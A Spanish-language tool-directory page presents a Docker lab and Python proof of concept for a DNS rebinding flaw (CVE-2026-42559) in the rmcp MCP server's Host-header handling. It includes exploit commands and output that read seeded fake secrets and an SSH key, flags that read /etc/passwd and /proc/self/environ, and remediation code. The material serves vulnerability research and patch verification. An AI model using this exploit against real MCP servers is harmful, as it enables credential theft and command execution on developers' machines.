Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42559 — Laboratorio Docker y prueba de concepto en Python que demuestra el rebinding de DNS mediante la cabecera Host no validada en el transporte del servidor HTTP Streamable de rmcp (CVE-2026-42559). Incluye versiones vulnerable y parcheada para pruebas. | Kitploit
Herramientas/GitHubGitHub/joaovicdev/cve-2026-42559
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubjoaovicdev/cve-2026-42559

CVE-2026-42559

Laboratorio Docker y prueba de concepto en Python que demuestra el rebinding de DNS mediante la cabecera Host no validada en el transporte del servidor HTTP Streamable de rmcp (CVE-2026-42559). Incluye versiones vulnerable y parcheada para pruebas.

Ver Repositorio
hace 6h 26mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42559 — Reencuadre de DNS en el transporte del servidor HTTP Streamable de rmcp

Un laboratorio Docker autónomo y una prueba de concepto en Python para CVE-2026-42559 (GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189).

Afectadormcp — el SDK oficial de Rust para el Model Context Protocol — < 1.4.0
Corregido en1.4.0 (2026-04-10)
CWECWE-346 (Error de validación de origen), CWE-350
CVSS 3.18.8 Alta — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

El fallo

El transporte del servidor HTTP Streamable en rmcp < 1.4.0 nunca inspeccionaba la cabecera Host entrante. Los servidores MCP normalmente están vinculados a loopback y están protegidos únicamente por la política de mismo origen del navegador — que el reencuadre de DNS («DNS rebinding») anula:

  1. La víctima visita http://evil.example, servido con un TTL de DNS de 1 segundo.
  2. La página espera a que el registro se vuelva a resolver. El DNS del atacante ahora responde evil.example → 127.0.0.1.
  3. La página llama a fetch("http://evil.example:8000/mcp", …). La solicitud llega al servidor MCP local de la víctima, pero el navegador sigue tratándola como de mismo origen — sin preflight CORS, y el JavaScript puede leer cada respuesta.

Lo único que separa esa solicitud de una legítima es la cabecera Host: evil.example:8000 en lugar de 127.0.0.1:8000. Sin validación, la página del atacante obtiene una sesión MCP completa y puede enumerar y llamar a cada herramienta que el servidor expone — lecturas de archivos, escrituras, ejecución de shell, lo que sea que el asistente estuviera configurado para hacer.

1.4.0 añadió StreamableHttpServerConfig::allowed_hosts, con valor predeterminado ["localhost", "127.0.0.1", "::1"], y una compuerta validate_dns_rebinding_headers() al inicio del manejador de solicitudes que responde 403 Forbidden en caso contrario.

Estructura

root@kitploit:~
.
├── docker-compose.yml       # dos servicios, mismo código fuente, diferente versión de rmcp
├── mcp-server/              # un servidor MCP realista de "asistente de desarrollador"
│   ├── Cargo.toml
│   ├── Dockerfile           # el argumento de compilación RMCP_VERSION fija la versión de la crate
│   └── src/main.rs
└── exploit/
    └── exploit.py           # PoC, Python 3.9+, sin dependencias

Ambos contenedores compilan el mismo src/main.rs con la misma configuración de servidor. La única diferencia es la versión fijada de la crate, por lo que el cambio de comportamiento proviene enteramente de la librería:

ServicioPuertormcpResultado esperado
vulnerable127.0.0.1:80001.3.0Host falsificado aceptado → compromiso total
patched127.0.0.1:80011.4.0Host falsificado → 403 Forbidden

El servidor expone whoami, read_file y run_command, y la imagen está sembrada con credenciales falsas en /home/dev/project/.env y /home/dev/.ssh/id_ed25519 para que el exploit tenga algo que robar.

Ejecución

root@kitploit:~
docker compose up -d --build

Explota la compilación vulnerable:

root@kitploit:~
python3 exploit/exploit.py --target 127.0.0.1:8000
root@kitploit:~
CVE-2026-42559 :: rmcp Streamable HTTP -- la cabecera Host no está validada
    target       http://127.0.0.1:8000/mcp
    Host legítimo   127.0.0.1:8000
    Host de reencuadre  mcp-rebind.attacker.example:8000

[*] paso 0: handshake de referencia con la cabecera Host legítima
[+] 200 OK -- el servidor está activo: rmcp 1.3.0

[*] paso 1: reproduciendo la solicitud posterior al reencuadre (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- la cabecera Host falsificada fue aceptada: VULNERABLE a CVE-2026-42559
[+] sesión abierta desde un origen externo: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57

[*] paso 2: enumerando las herramientas ahora expuestas a la página del atacante
        - read_file    Leer un archivo de la estación de trabajo
        - run_command  Ejecutar un comando de shell en la estación de trabajo
        - whoami       Describir la estación de trabajo en la que se ejecuta este asistente

[*] paso 3: invocando herramientas como si la página del atacante fuera un cliente MCP local
    tools/call whoami
        | user=unknown host=35b31d892a7a pid=1
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:[email protected]:5432/app
    tools/call read_file path=/home/dev/.ssh/id_ed25519
        | -----BEGIN OPENSSH PRIVATE KEY-----
        | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
        | -----END OPENSSH PRIVATE KEY-----
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
        | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux

[!] lectura arbitraria y ejecución de comandos en el host de la víctima, desde una página web

Luego la compilación parcheada, para confirmar la corrección:

root@kitploit:~
python3 exploit/exploit.py --target 127.0.0.1:8001
root@kitploit:~
[*] paso 0: handshake de referencia con la cabecera Host legítima
[+] 200 OK -- el servidor está activo: rmcp 1.4.0

[*] paso 1: reproduciendo la solicitud posterior al reencuadre (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Prohibido: la cabecera Host no está permitida
[+] NO VULNERABLE: esta compilación valida la cabecera Host (rmcp >= 1.4.0)

El código de salida es 1 cuando el objetivo es vulnerable y 0 cuando no lo es, por lo que el script se integra directamente en CI.

Banderas útiles:

root@kitploit:~
python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

Detén el laboratorio con docker compose down.

Por qué la PoC falsifica la cabecera en lugar de ejecutar un servidor DNS

El exploit abre una conexión TCP al objetivo y escribe una cabecera Host controlada por el atacante (http.client.putrequest(..., skip_host=True)). Esa es, byte por byte, la solicitud que emite un navegador reencuadrado — el reencuadre de DNS es solo el mecanismo que hace que un navegador envíe un Host externo a un socket de loopback. Reproducirlo de esta manera mantiene el laboratorio en dos contenedores y sin infraestructura de DNS, mientras se prueba exactamente la ruta de código sobre la que trata el CVE.

Cómo corregirlo en tu propio servidor

root@kitploit:~
// 1. Actualiza.
//    rmcp = "1.4"   (o posterior)

// 2. Solo loopback es el valor predeterminado desde 1.4.0 en adelante — no hay nada que hacer
//    para un servidor vinculado localmente.
let config = StreamableHttpServerConfig::default();

// 3. Para un despliegue público genuino, incluye en la lista blanca tus propios nombres.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);

Si no puedes actualizar, termina el endpoint MCP detrás de un proxy inverso que rechace valores Host desconocidos, y no vincules el servidor a 0.0.0.0 sin uno. disable_allowed_hosts() existe pero reintroduce exactamente este fallo.

Referencias

  • GHSA-89vp-x53w-74fx
  • NVD — CVE-2026-42559
  • Red Hat — CVE-2026-42559
  • Kodem Security — CVE-2026-42559
  • Especificación MCP — Seguridad del transporte

Aviso legal

Todo lo que hay aquí es intencionalmente vulnerable y existe con fines de investigación y educación. Los contenedores exponen una herramienta de ejecución de shell a propósito — ejecuta el laboratorio solo en una máquina que te pertenezca, y nunca apuntes el exploit a un host que no estés autorizado a probar.

Descargar herramienta